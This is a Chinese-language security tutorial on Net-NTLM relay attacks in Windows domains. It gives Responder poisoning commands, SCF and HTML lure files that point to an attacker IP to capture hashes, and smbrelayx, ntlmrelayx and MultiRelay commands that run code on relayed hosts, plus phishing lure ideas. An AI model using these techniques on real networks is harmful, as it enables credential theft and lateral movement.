免责声明
合法使用原则:文中提及的技术、工具或案例,仅用于授权范围内的安全测试、防御研究或合规技术分享,未经授权的网络攻击、数据窃取等行为均属违法,需承担法律责任。
风险自担与责任豁免:文章内容基于公开信息整理,不保证技术的准确性、完整性或适用性。读者需自行评估技术应用风险,若因不当使用导致任何法律后果或损失,均由使用者自行承担,与本公众号及作者无关。
法律管辖与提示:本公众号坚决拥护相关法律法规,反对任何危害网络安全的行为,读者需严格遵守法律法规。
一、漏洞简介
- Net-NTLM Relay攻击是一种中间人攻击,利用NTLM认证协议的缺陷,将捕获的Net-NTLM Hash重放到其他服务,模拟合法用户身份执行恶意操作。
- 攻击核心在于绕过认证过程中的签名校验,利用未启用签名的协议(如:SMB、LDAP等)或绕过签名限制(如 CVE-2019-1040),实现权限提升或横向移动。
二、漏洞原理
- Net-NTLM Relay攻击发生在NTLM认证的第三步,客户端使用用户密码的NTLM Hash加密 Challenge,生成Net-NTLM Hash并发送给服务端,此时Response消息中就会存在Net-NTLM Hash
- 如果攻击者截取了这个Net-NTLM Hash,就可以重放Net-NTLM Hash进行攻击。
三、捕获/截取Net-NTLM Hash
- 在对Net-NTLM Hash进行重放之前,要先捕获Net-NTLM Hash
第一步:启动监听,用于捕获目标机器发来的NTLM请求
- 可以使用Responder来监听(kali自带)
- 下载地址:https://github.com/lgandx/Responder
// -I指定网卡
python3 Responder -I eth0 -wv
第二步:让目标机器主动向启动监听的机器发起NTLM请求
方式1:利用LLMNR和NBNS
- LLMNR和NBNS是局域网内的名称解析协议,用于局域网中的名称解析,当其他方式解析失败时,Windows系统就会使用LLMNR和NBNS协议解析名称
- 名称解析协议:在一个Windows系统上试图访问另一个名为“example”的计算机资源时,如果不知道它的IP地址,会先通过本地host和DNS解析,如果解析失败就会退回到使用LLMNR或NBNS协议来尝试在本地网络中找到对应于“example”这个名称的IP地址。
- 如果目标机器尝试访问一个既不能通过本地
hosts
文件解析也不能通过DNS服务器解析的网络资源时,那么Windows系统会尝试使用LLMNR或NBNS协议进行进一步的解析,这些协议允许设备在局域网内广播查询请求,寻找能够响应这个名称的其他设备 - 前面我们启动的监听就可以监听到这些广播请求,收到请求后就会告诉目标机器自己就是目标资源,并要求目标发送Net-NTLM Hash进行认证,于是就可以收到客户端发来的Net-NTLMHash了
- 比如在一个域机器中随意请求一个不存在的资源,Responder就会对目标机器进行LLMNR/NBNS毒化,并请求其输入凭据认证,此时就可以抓到目标机器的Net-NTLM Hash了
方式2:图标
- 将图标(例如快捷方式、开始菜单项或其他引用图标的文件)的路径属性修改为指向一个攻击者控制的UNC路径(Universal Naming Convention,通用命名约定),就有可能触发目标机器向攻击者控制的服务器发送NTLM身份验证请求
- desktop.ini
- 创建一个文件夹,然后修改文件夹的图标
- 修改完以后进入文件夹,取消勾选该文件夹的隐藏受保护的操作系统文件属性
- 此时就会在文件夹中生成一个desktop.ini文件,在该文件中修改IconResource为监听机器的UNC路径
- 此时只要目标机器上有人访问了这个文件夹,启动监听的机器就能接收到这个机器发来的Net-NTLM Hash
- scf文件:因为scf文件有IconFile属性,且该属性支持UNC路径,所以当一个文件夹包含scf后缀文件时且打开文件夹时,目标主机会向指定UNC路径请求图标资源,并发送当前用户的NTLM hash至启动监听的机器
- 创建一个文件夹,然后在文件夹中新建一个scf后缀的文件,在该文件中填写以下内容(IconFile填写的是启动监听的机器的UNC路径)
[Shell]
Command=2
IconFile=\10.10.1.107testtest.ico
[Taskbar]
Command=ToggleDesktop
- 此时只要目标机器上有人访问了这个文件夹,启动监听的机器就能接收到这个机器发来的Net-NTLM Hash
方式3:浏览器
- 当浏览器访问的页面中含有UNC路径的话,浏览器在解析该页面时也会尝试请求该UNC地址,然后发起NTLM认证
- 此时可以在启动监听的机器上放置一个html文件,然后写入以下内容(拼接UNC路径)
<htmllang="en">
<head>
<metacharset="UTF-8">
</head>
<body>
</body>
<scriptsrc="\10.10.1.107test"></script>
</html>
- 在启动监听的机器上通过python启动一个http服务
python3 -m http.server 7777
- 此时目标主机如果访问了这个html文件,启动监听的机器就能接收到这个机器发来的Net-NTLM Hash
方式4:执行系统命令
- 通过执行系统命令,访问指定的UNC路径,也可以获取目标机器的Net-NTLM Hash
四、重放Net-NTLM Hash(Net-NTLM Relay攻击)
- 由于NTLM是底层的认证协议,必须嵌套在上层应用协议中,消息的传输依赖于使用NTLM的上层协议,比如:SMB、HTTP、LDAP等。
- 所以可以将获取到的Net-NTLM Hash重放到其他使用NTLM进行认证的应用上
- 注意:Net-NTLM Hash不像NTLM-Hash,不能用Net-NTLM Hash来进行哈希传递
impacket-smbrelayx.py
- 通过impacket工具包中的smbrelayx.py脚本接收域内用户的Net-NTLM Hash,然后Relay到域内其他机器执行指定命令
- 此时我们通过监听接收10.10.1.228这台主机用户的Net-NTLM Hash,然后Relay到10.10.1.230这台主机执行命令
//在VPS启动监听(此时会监听80和445端口)
python3 smbrelayx.py -h 10.10.1.230 -c whoami
-h:指定目标主机(这里的目标主机指的是执行命令的主机)
-c:需要执行的命令
- 此时可以诱导10.10.1.228这台机器的用户访问前面我们伪造的http或者smb服务,从而获取10.10.1.228这台机器上该用户的Net-NTLM Hash
- 实际场景下,目标用户不可能无缘无故执行命令访问我们的伪造的smb服务,所以我们可以在VPS上伪造一个html页面,在页面中嵌入UNC路径(
http://vps ip
),诱导目标用户访问这个伪造的页面,从而获取到Net-NTLM Hash,接着relay执行命令
- 例如以下html代码,实际场景中可以加入更多元素,使得页面更真实
<htmllang="en">
<head>
<metacharset="UTF-8">
</head>
<body>
</body>
<scriptsrc="http://10.10.1.107"></script>
</html>
- 在VPS上通过python启动http服务
python3 -m http.server 7777
- 目标访问这个html页面,输入正确的账号密码以后,我们就能在VPS上获取到10.10.1.128这台机器上该用户的Net-NTLM Hash和在10.10.1.230这台机器上执行命令的结果
- 除了执行
whoami
命令以外,还可以远程加载powershell或者通过其它方式反弹shell到C2
impacket-ntlmrelayx.py
- 通过impacket工具包中的ntlmrelayx.py脚本也能接收域内用户的Net-NTLM Hash,并且Relay到域内其他机器执行指定命令
- 此时通过监听接收10.10.1.228这台主机用户的Net-NTLM Hash,然后Relay到10.10.1.230这台主机执行命令
//在VPS启动监听
python3 ntlmrelayx.py -t smb://10.10.1.230 -c whoami -smb2support
- 在VPS上伪造一个html页面,在页面中嵌入UNC路径(
http://vps ip
),诱导目标用户访问这个伪造的页面,从而获取到Net-NTLM Hash,接着relay执行命令
<htmllang="en">
<head>
<metacharset="UTF-8">
</head>
<body>
</body>
<scriptsrc="http://10.10.1.107"></script>
</html>
python3 -m http.server 7777
- 目标访问这个html页面,输入正确的账号密码以后,我们就能在VPS上获取到10.10.1.128这台机器上该用户的Net-NTLM Hash和在10.10.1.230这台机器上执行命令的结果
- 也可以让10.10.1.128随便访问一个不存在的资源,通过LLMNR和NBNS触发
Responder-MultiRelay.py
- 通过Responder的MultiRelay.py脚本也可以实现Net-NTLM Relay攻击
//启动监听
python3 MultiRelay.py -t 10.10.1.230 -u ALL
ALL参数:用于获得一个稳定的shell
- 目标访问这个html页面,输入正确的账号密码以后,我们就能在VPS上获取到10.10.1.128这台机器上该用户的Net-NTLM Hash和在10.10.1.230这台机器上执行命令的结果
- 还有抓密码hash等功能
五、拓展
- 在实际渗透过程中,Net-NTLM Relay攻击往往会配合钓鱼进行
- 比如:
- 在共享上放置特殊的目录,当用户点到这个目录的时候会自动请求攻击的SMB
- 在word文档或邮件正文里插入文件,然后将相应的链接改为UNC路径,通过内网邮件发送给对方
- 诱导目标访问我们准备好的html页面(如上面的演示)
原文始发于微信公众号(AegisGuard):Net-NTLM Relay攻击(域渗透):从原理到实践的全剖析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论